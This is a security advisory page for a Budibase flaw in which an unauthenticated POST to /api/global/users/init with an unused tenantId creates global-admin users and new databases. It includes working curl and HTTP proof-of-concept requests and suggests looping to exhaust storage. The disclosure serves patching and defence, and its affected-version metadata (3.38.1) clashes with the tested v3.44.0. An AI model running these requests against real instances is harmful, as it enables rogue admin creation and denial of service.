GHSA-25QC-M4PW-2W8R

Vulnerability from github – Published: 2026-11-20 23:50 – Updated: 2026-11-20 23:50
VLAI
Summary
Budibase: Unauthenticated global-admin & database creation via tenant-confusion bypass of the one-time init guard (`POST /api/global/users/init`)
Details

Description

Summary

On a self-hosted, single-tenant Budibase instance (multiTenancy:false), the public bootstrap endpoint POST /api/global/users/init remains fully exploitable after the instance has been provisioned. Its "already initialised" guard (checkAnyUserExists()) is evaluated inside a tenant-scoped database context derived from an attacker-controlled tenantId in the request body. Because the tenancy layer never constrains that tenantId to the only legitimate tenant (default) on a single-tenant deployment, an unauthenticated attacker simply supplies any unused tenant name to make the guard see an empty user list, and the endpoint then creates a brand-new CouchDB database (<tenantId>_global-db) and a global-admin user document (admin.global = true, builder.global = true) inside it - with no authentication and no CSRF token.

This is (a) a bypass of the security control meant to permanently close first-run setup, and (b) an unauthenticated, persistent write primitive that lets an anonymous attacker create an unbounded number of databases and admin-user documents - a resource-exhaustion / denial-of-service vector against the CouchDB datastore, plus creation of latent rogue admin accounts.

Details

Root cause chain (source, tag v3.44.0):

  1. packages/worker/src/api/index.ts:41 - POST /api/global/users/init is in PUBLIC_ENDPOINTS, so auth.buildAuthMiddleware(PUBLIC_ENDPOINTS) marks it publicEndpoint and the "no public access to worker" gate (api/index.ts:159-165) lets it through without any session. It is also in NO_TENANCY_ENDPOINTS (api/index.ts:83), so the tenancy middleware does not pin the request to default - the tenant is taken verbatim from the request body - and in NO_CSRF_ENDPOINTS.
  2. packages/worker/src/middleware/cloudRestricted.ts:10,25 - the cloudRestricted guard only enforces the internal API key when !env.SELF_HOSTED && !env.DISABLE_ACCOUNT_PORTAL. On a self-hosted instance (SELF_HOSTED=true) it is a no-op (return next()), so cloudRestrictedRoutes provides no protection here.
  3. packages/worker/src/api/routes/global/users.ts:69-79 - cloudRestrictedRoutes.post("/api/global/users/init", … controller.adminUser).
  4. packages/worker/src/api/controllers/global/users.ts:232 - the handler runs await tenancy.doInTenant(tenantId, …) using the attacker-supplied tenantId.
  5. packages/worker/src/api/controllers/global/users.ts:238 - the only guard, const userExists = await checkAnyUserExists(), throws 403 only if a user exists in the current tenant context.
  6. packages/worker/src/utilities/users.ts:3-15 - checkAnyUserExists() calls tenancy.getGlobalDB(), which resolves to <tenantId>_global-db. For any unused tenantId this DB is empty → the guard passes → userSdk.db.createAdminUser(email, tenantId, …) (users.ts:247) creates a full global admin.

The defect is incorrect authorization scoping: the single-tenant deployment invariant ("only tenant default exists; init is one-time") is never enforced against the request-supplied tenantId, so the guard is evaluated against a namespace the attacker chooses.

Configuration confirmed via GET /api/system/environment → {"multiTenancy":false,"cloud":false,"disableAccountPortal":false,"isDev":false}.

PoC

Target http://127.0.0.1:3014 (Budibase v3.44.0-cloud.2). No credentials, no cookies, no CSRF token. All values real, captured live on 2026-09-02; nothing redacted.


Step 1 - BASELINE: the guard correctly blocks re-init of the real tenant (default)

curl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \
  -H 'Content-Type: application/json' \
  -d '{"email":"pwn-default@evil.test","password":"Pwned!2026#bb","tenantId":"default"}'

Burp - Request

POST /api/global/users/init HTTP/1.1
Host: 127.0.0.1:3014
Content-Type: application/json
Content-Length: 82

{"email":"pwn-default@evil.test","password":"Pwned!2026#bb","tenantId":"default"}

Burp - Response

HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8

{"message":"You cannot initialise once an global user has been created.","status":403}

Step 2 - PAYLOAD: supply any unused tenantId → the guard is bypassed and a global admin is created, fully unauthenticated

curl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \
  -H 'Content-Type: application/json' \
  -d '{"email":"pwn-f7poc@evil.test","password":"Pwned!2026#bb","tenantId":"f7poc"}'

Burp - Request

POST /api/global/users/init HTTP/1.1
Host: 127.0.0.1:3014
Content-Type: application/json
Content-Length: 78

{"email":"pwn-f7poc@evil.test","password":"Pwned!2026#bb","tenantId":"f7poc"}

Burp - Response

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8

{"_id":"us_d0c2b6c9014a43e2899a2770d2e6280c","_rev":"1-554ff75f0064fb15f92e341faad7263b","email":"pwn-f7poc@evil.test"}

The single differential - tenantId:"default" → 403, tenantId:"f7poc" → 200 with a persisted us_… id - is the whole bug: the one-time-setup guard is scoped to a namespace the attacker chooses.


Step 3 - the write persisted: re-init of the same tenant now hits the (per-tenant) guard

curl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \
  -H 'Content-Type: application/json' \
  -d '{"email":"pwn-f7pocb@evil.test","password":"Pwned!2026#bb","tenantId":"f7poc"}'

Burp - Response

HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8

{"message":"You cannot initialise once an global user has been created.","status":403}

Each unique tenantId is a fresh write primitive - an attacker loops tenantId=a0001,a0002,… to create unbounded databases + admin docs (DoS).


Step 4 & 5 - datastore side-effect: a new <tenant>_global-db and a real global-admin document

Read directly from CouchDB inside the container ($COUCH_DB_URL = http://admin:…@127.0.0.1:5984):

GET /_all_dbs =>
[
 "app_cc322a9cd27a492eb934f43b146c6e81",
 "app_dev_cc322a9cd27a492eb934f43b146c6e81",
 "f7poc_global-db",     <-- created by the unauthenticated init call (tenantId=f7poc)
 "global-db"            <-- legitimate default-tenant global DB
]

rogue DB 'f7poc_global-db' present: True

The document created in f7poc_global-db is a full global admin:

{
  "_id": "us_d0c2b6c9014a43e2899a2770d2e6280c",
  "email": "pwn-f7poc@evil.test",
  "admin":   { "global": true },
  "builder": { "global": true },
  "tenantId": "default",
  "roles": {}
}

Step 6 - ceiling check (honest): the injected admin cannot log in while multi-tenancy is off

curl -s -i -X POST 'http://127.0.0.1:3014/api/global/auth/f7poc/login' \
  -H 'Content-Type: application/json' \
  -d '{"username":"pwn-f7poc@evil.test","password":"Pwned!2026#bb"}'

Burp - Response

HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8

{"message":"Invalid credentials","status":403}

With multiTenancy:false the login flow forces the default tenant, so the injected admin is not usable to log into the running default-tenant instance. The provable impact is therefore control-bypass + unauthenticated persistent datastore writes / DoS + creation of rogue admin accounts that become active if multi-tenancy is later enabled or during tenant-iterating operations (restore/migration).

Impact

Type: Missing/incorrect authorization on a critical function - unauthenticated bypass of the one-time initialization guard, yielding anonymous global-admin-document and database creation.

Who is impacted: every self-hosted single-tenant Budibase instance exposing the worker API (via the front nginx). Any unauthenticated network attacker can: - defeat the first-run setup lock that is supposed to be permanently closed after provisioning; - create global-admin user documents in attacker-named tenants with no credentials (latent rogue admins that activate if multi-tenancy is enabled or during migration/restore); - create an unbounded number of CouchDB databases (<rand>_global-db) and documents - a resource-exhaustion / DoS vector against the datastore (disk, inodes, file descriptors, the _dbs metadata shard).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.38.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-122247"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-306",
      "CWE-770",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-20T23:50:01Z",
    "nvd_published_at": "2026-11-20T17:18:08Z",
    "severity": "HIGH"
  },
  "details": "## Description\n\n### Summary\n\nOn a self-hosted, single-tenant Budibase instance (`multiTenancy:false`), the public bootstrap endpoint `POST /api/global/users/init` remains fully exploitable **after** the instance has been provisioned. Its \"already initialised\" guard (`checkAnyUserExists()`) is evaluated inside a **tenant-scoped** database context derived from an **attacker-controlled `tenantId`** in the request body. Because the tenancy layer never constrains that `tenantId` to the only legitimate tenant (`default`) on a single-tenant deployment, an unauthenticated attacker simply supplies any unused tenant name to make the guard see an empty user list, and the endpoint then creates a brand-new CouchDB database (`\u003ctenantId\u003e_global-db`) and a **global-admin** user document (`admin.global = true`, `builder.global = true`) inside it - with no authentication and no CSRF token.\n\nThis is (a) a bypass of the security control meant to permanently close first-run setup, and (b) an unauthenticated, persistent write primitive that lets an anonymous attacker create an unbounded number of databases and admin-user documents - a resource-exhaustion / denial-of-service vector against the CouchDB datastore, plus creation of latent rogue admin accounts.\n\n### Details\n\nRoot cause chain (source, tag v3.44.0):\n\n1. `packages/worker/src/api/index.ts:41` - `POST /api/global/users/init` is in `PUBLIC_ENDPOINTS`, so `auth.buildAuthMiddleware(PUBLIC_ENDPOINTS)` marks it `publicEndpoint` and the \"no public access to worker\" gate (`api/index.ts:159-165`) lets it through **without any session**. It is also in `NO_TENANCY_ENDPOINTS` (`api/index.ts:83`), so the tenancy middleware does **not** pin the request to `default` - the tenant is taken verbatim from the request body - and in `NO_CSRF_ENDPOINTS`.\n2. `packages/worker/src/middleware/cloudRestricted.ts:10,25` - the `cloudRestricted` guard only enforces the internal API key when `!env.SELF_HOSTED \u0026\u0026 !env.DISABLE_ACCOUNT_PORTAL`. On a self-hosted instance (`SELF_HOSTED=true`) it is a **no-op** (`return next()`), so `cloudRestrictedRoutes` provides no protection here.\n3. `packages/worker/src/api/routes/global/users.ts:69-79` - `cloudRestrictedRoutes.post(\"/api/global/users/init\", \u2026 controller.adminUser)`.\n4. `packages/worker/src/api/controllers/global/users.ts:232` - the handler runs `await tenancy.doInTenant(tenantId, \u2026)` using the **attacker-supplied** `tenantId`.\n5. `packages/worker/src/api/controllers/global/users.ts:238` - the only guard, `const userExists = await checkAnyUserExists()`, throws 403 only if a user exists **in the current tenant context**.\n6. `packages/worker/src/utilities/users.ts:3-15` - `checkAnyUserExists()` calls `tenancy.getGlobalDB()`, which resolves to `\u003ctenantId\u003e_global-db`. For any unused `tenantId` this DB is empty \u2192 the guard passes \u2192 `userSdk.db.createAdminUser(email, tenantId, \u2026)` (`users.ts:247`) creates a full global admin.\n\nThe defect is **incorrect authorization scoping**: the single-tenant deployment invariant (\"only tenant `default` exists; init is one-time\") is never enforced against the request-supplied `tenantId`, so the guard is evaluated against a namespace the attacker chooses.\n\nConfiguration confirmed via `GET /api/system/environment` \u2192 `{\"multiTenancy\":false,\"cloud\":false,\"disableAccountPortal\":false,\"isDev\":false}`.\n\n### PoC\n\nTarget `http://127.0.0.1:3014` (Budibase `v3.44.0-cloud.2`). **No credentials, no cookies, no CSRF token.** All values real, captured live on 2026-09-02; nothing redacted.\n\n---\n\n#### Step 1 - BASELINE: the guard correctly blocks re-init of the real tenant (`default`)\n\n```bash\ncurl -s -i -X POST \u0027http://127.0.0.1:3014/api/global/users/init\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"email\":\"pwn-default@evil.test\",\"password\":\"Pwned!2026#bb\",\"tenantId\":\"default\"}\u0027\n```\n\n**Burp - Request**\n\n```http\nPOST /api/global/users/init HTTP/1.1\nHost: 127.0.0.1:3014\nContent-Type: application/json\nContent-Length: 82\n\n{\"email\":\"pwn-default@evil.test\",\"password\":\"Pwned!2026#bb\",\"tenantId\":\"default\"}\n```\n\n**Burp - Response**\n\n```http\nHTTP/1.1 403 Forbidden\nContent-Type: application/json; charset=utf-8\n\n{\"message\":\"You cannot initialise once an global user has been created.\",\"status\":403}\n```\n\n---\n\n#### Step 2 - PAYLOAD: supply any unused `tenantId` \u2192 the guard is bypassed and a global admin is created, fully unauthenticated\n\n```bash\ncurl -s -i -X POST \u0027http://127.0.0.1:3014/api/global/users/init\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"email\":\"pwn-f7poc@evil.test\",\"password\":\"Pwned!2026#bb\",\"tenantId\":\"f7poc\"}\u0027\n```\n\n**Burp - Request**\n\n```http\nPOST /api/global/users/init HTTP/1.1\nHost: 127.0.0.1:3014\nContent-Type: application/json\nContent-Length: 78\n\n{\"email\":\"pwn-f7poc@evil.test\",\"password\":\"Pwned!2026#bb\",\"tenantId\":\"f7poc\"}\n```\n\n**Burp - Response**\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/json; charset=utf-8\n\n{\"_id\":\"us_d0c2b6c9014a43e2899a2770d2e6280c\",\"_rev\":\"1-554ff75f0064fb15f92e341faad7263b\",\"email\":\"pwn-f7poc@evil.test\"}\n```\n\nThe single differential - `tenantId:\"default\"` \u2192 403, `tenantId:\"f7poc\"` \u2192 200 with a persisted `us_\u2026` id - is the whole bug: the one-time-setup guard is scoped to a namespace the attacker chooses.\n\n---\n\n#### Step 3 - the write persisted: re-init of the same tenant now hits the (per-tenant) guard\n\n```bash\ncurl -s -i -X POST \u0027http://127.0.0.1:3014/api/global/users/init\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"email\":\"pwn-f7pocb@evil.test\",\"password\":\"Pwned!2026#bb\",\"tenantId\":\"f7poc\"}\u0027\n```\n\n**Burp - Response**\n\n```http\nHTTP/1.1 403 Forbidden\nContent-Type: application/json; charset=utf-8\n\n{\"message\":\"You cannot initialise once an global user has been created.\",\"status\":403}\n```\n\nEach unique `tenantId` is a fresh write primitive - an attacker loops `tenantId=a0001,a0002,\u2026` to create unbounded databases + admin docs (DoS).\n\n---\n\n#### Step 4 \u0026 5 - datastore side-effect: a new `\u003ctenant\u003e_global-db` and a real global-admin document\n\nRead directly from CouchDB inside the container (`$COUCH_DB_URL` = `http://admin:\u2026@127.0.0.1:5984`):\n\n```\nGET /_all_dbs =\u003e\n[\n \"app_cc322a9cd27a492eb934f43b146c6e81\",\n \"app_dev_cc322a9cd27a492eb934f43b146c6e81\",\n \"f7poc_global-db\",     \u003c-- created by the unauthenticated init call (tenantId=f7poc)\n \"global-db\"            \u003c-- legitimate default-tenant global DB\n]\n\nrogue DB \u0027f7poc_global-db\u0027 present: True\n```\n\nThe document created in `f7poc_global-db` is a full global admin:\n\n```json\n{\n  \"_id\": \"us_d0c2b6c9014a43e2899a2770d2e6280c\",\n  \"email\": \"pwn-f7poc@evil.test\",\n  \"admin\":   { \"global\": true },\n  \"builder\": { \"global\": true },\n  \"tenantId\": \"default\",\n  \"roles\": {}\n}\n```\n\n---\n\n#### Step 6 - ceiling check (honest): the injected admin cannot log in while multi-tenancy is off\n\n```bash\ncurl -s -i -X POST \u0027http://127.0.0.1:3014/api/global/auth/f7poc/login\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"pwn-f7poc@evil.test\",\"password\":\"Pwned!2026#bb\"}\u0027\n```\n\n**Burp - Response**\n\n```http\nHTTP/1.1 403 Forbidden\nContent-Type: application/json; charset=utf-8\n\n{\"message\":\"Invalid credentials\",\"status\":403}\n```\n\nWith `multiTenancy:false` the login flow forces the `default` tenant, so the injected admin is **not** usable to log into the running default-tenant instance. The provable impact is therefore control-bypass + unauthenticated persistent datastore writes / DoS + creation of rogue admin accounts that become active if multi-tenancy is later enabled or during tenant-iterating operations (restore/migration).\n\n### Impact\n\n**Type:** Missing/incorrect authorization on a critical function - **unauthenticated bypass of the one-time initialization guard**, yielding anonymous global-admin-document and database creation.\n\n**Who is impacted:** every self-hosted single-tenant Budibase instance exposing the worker API (via the front nginx). Any unauthenticated network attacker can:\n- **defeat the first-run setup lock** that is supposed to be permanently closed after provisioning;\n- **create global-admin user documents** in attacker-named tenants with no credentials (latent rogue admins that activate if multi-tenancy is enabled or during migration/restore);\n- **create an unbounded number of CouchDB databases** (`\u003crand\u003e_global-db`) and documents - a resource-exhaustion / DoS vector against the datastore (disk, inodes, file descriptors, the `_dbs` metadata shard).",
  "id": "GHSA-25qc-m4pw-2w8r",
  "modified": "2026-11-20T23:50:01Z",
  "published": "2026-11-20T23:50:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-25qc-m4pw-2w8r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-122247"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/commit/362a7fe9aea594531ece1cf15be76cc00bfb88b9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/releases/tag/v3.50.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/releases/tag/v4.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase: Unauthenticated global-admin \u0026 database creation via tenant-confusion bypass of the one-time init guard (`POST /api/global/users/init`)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…